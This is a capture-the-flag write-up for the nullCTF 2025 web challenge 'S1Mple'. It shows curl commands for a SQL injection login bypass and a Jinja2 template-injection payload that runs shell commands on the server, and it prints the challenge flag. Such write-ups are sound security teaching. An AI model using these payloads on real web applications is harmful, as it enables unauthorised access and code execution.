Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

S1Mple

CTF writeup for S1Mple from nullCTF

//nullCTF 2025 – s1mple (Web)

>Challenge Overview

  • Category: Web

  • Author: mrbgd

  • Remote: http://public.ctf.r0devnull.team:3023/

  • Goal: Retrieve the flag nullctf{…} from a Flask-based admin interface.

  • Key Vulns: SQL injection bypass → authenticated Server-Side Template Injection (SSTI) leading to RCE.

>Tooling & Setup

All interaction happened from the provided Ubuntu box.

  • CLI utilities: curl, ffuf, flask-unsign (not ultimately needed), sed.

  • Wordlists: SecLists repo for enumeration (not required after finding logic bugs).

>Step 1 – Recon the Landing Page

bash

curl http://public.ctf.r0devnull.team:3023/

Returned a styled "Atmin panel" login form with POST-only fields and no obvious hints. Static assets (/static/styles/design.css) and robots.txt had nothing interesting.

>Step 2 – Brute Force? Nope.

I prepared for directory fuzzing with ffuf + SecLists, but stopped once I noticed the login provided detailed flash messages. Testing credentials (username=a&password=b) yielded invalid credentials, suggesting unsanitized inputs. That hint made SQLi the first real target.

>Step 3 – SQL Injection Login Bypass

Testing a basic payload directly in the login POST succeeded:

bash

curl -i -X POST \

  -d "username=' or 1=1 -- -&password=x" \

  http://public.ctf.r0devnull.team:3023/

The server responded with 302 RedirectLocation: dashboard, plus a new session cookie. Visiting /dashboard with that cookie rendered an admin dashboard.

>Step 4 – Dashboard Recon

/dashboard contained:

  • Welcome header, logout button, search form (GET ?search_item=).

  • A log of all user queries, clearly reflecting unescaped inputs such as {{7*7}}, raw SQL payloads, and even template expressions. That leak hinted strongly at template rendering without sanitization.

  • No direct flag exposure.

Exploring authenticated links discovered /profile (static info) and /page, a simplified dashboard with another search_item parameter.

>Step 5 – Confirm SSTI on /page

The /page endpoint echoed input verbatim, so I tested Jinja2 arithmetic:

bash

curl -s -H "Cookie: session=<cookie>" \

  "http://public.ctf.r0devnull.team:3023/page?search_item={{7*7}}"

The rendered HTML displayed 49, confirming SSTI with code execution capability.

>Step 6 – Gain RCE via Jinja Object Chain

Leveraged the classic Jinja escape hatch to import os, execute shell commands, and read files:

bash

curl -s -H "Cookie: session=<cookie>" \

  "http://public.ctf.r0devnull.team:3023/page?search_item=%7B%7Bself.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()%7D%7D"

The response listed the application directory contents, including flag.txt.

>Step 7 – Read the Flag

Same gadget, now with cat flag.txt:

bash

curl -s -H "Cookie: session=<cookie>" \

  "http://public.ctf.r0devnull.team:3023/page?search_item=%7B%7Bself.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()%7D%7D"

Output:

nullctf{1nd33d_1t_w4s_th4t_s1mpl3}

>Final Flag

nullctf{1nd33d_1t_w4s_th4t_s1mpl3}